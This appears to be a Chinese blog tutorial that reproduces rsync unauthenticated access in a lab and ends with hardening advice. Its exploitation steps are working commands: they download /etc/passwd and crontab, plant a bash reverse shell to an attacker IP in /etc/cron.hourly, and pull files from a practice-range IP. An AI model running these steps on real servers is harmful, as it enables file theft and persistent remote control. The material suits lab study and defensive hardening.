rsync未授权访问漏洞
编写者:thelostworld_fv
简介:
rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。其中rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配置ACL或访问密码,我们将可以读写目标服务器文件。
环境准备:
编译及运行rsync服务器:
docker-compose build docker-compose up -d
运行
环境启动后,我们用rsync命令访问之:
rsync rsync://your-ip:873/
利用方法:
上图,有一个src模块,我们再列出这个模块下的文件:
这是Linux根目录,可以下载任意文件:
rsync -av rsync://your-ip:873/src/etc/passwd ./
查看下载的passwd
查看crontab配置文件:
rsync rsync://192.168.182.143/src/etc/crontab
下载crontab配置文件:
rsync -av rsync://192.168.182.143/src/etc/crontab /root/crontab.txt
写入shell任意文件:
#!/bin/bash /bin/bash -i >& /dev/tcp/192.168.182.199/4444 0>&1
赋予执行权限:
chmod +x shell
将shell上传至/etc/cron.hourly
rsync -av shell rsync://192.168.182.143/src/etc/cron.hourly
写入了一个cron任务,
17 * * * * root cd / && run-parts --report /etc/cron.hourly
表示在每小时的第17分钟执行run-parts --report /etc/cron.hourly命令
成功反弹shell:
获取到服务器权限。
在线靶场:
rsync IP:: //这是在默认条件下没有改变默认的端口,默认密码是:: rsync --port=xxx ip:: //如果修改了默认端口就需要指定端口,这里就是需要自己指定47900端口 rsync -avz ip::www /tmp //-avz是下载文件的命令,前一个是目标内容,后一个是自己指定存储在本地的路径 rsync -avz --port=xxx ip::dddd /tmp
连接rsync --port=49814 219.153.49.228::
下载文件
rsync -avz --port=49814 219.153.49.228::volume /Users/fuwei/Desktop/
/*
mozhea2b247c38a64888155d03ccc3f9
*/
?>
修复建议:
1. 修改vim /etc/rsync.conf配置文件(写入以下代码)
hosts allow xxx.xxx.xxx.xxx auth users = rsync secrets file = /etc/rsyncd.passwd
2、新建一个账户密码访问文件vim /etc/rsyncd.passwd
按一下格式写入能登陆的用户名和密码
username :password
总结:
1、注意计划启动项时间,自己可以修改对于的启动时间。
vim /etc/crontab 修改对于自己需要的时间就OK了
2、注意在上传计划启动的前需要附上执行权限,不然不会执行反弹。
3、最近工作闲暇漏洞复现一下(安全贵在坚持),如果有纰漏,望大佬指正。
参考:
https://blog.csdn.net/qq_36374896/article/details/84112341
https://www.jianshu.com/p/615669b7311f
个人知乎:https://www.zhihu.com/people/fu-wei-43-69/columns
个人:https://www.jianshu.com/u/bf0e38a8d400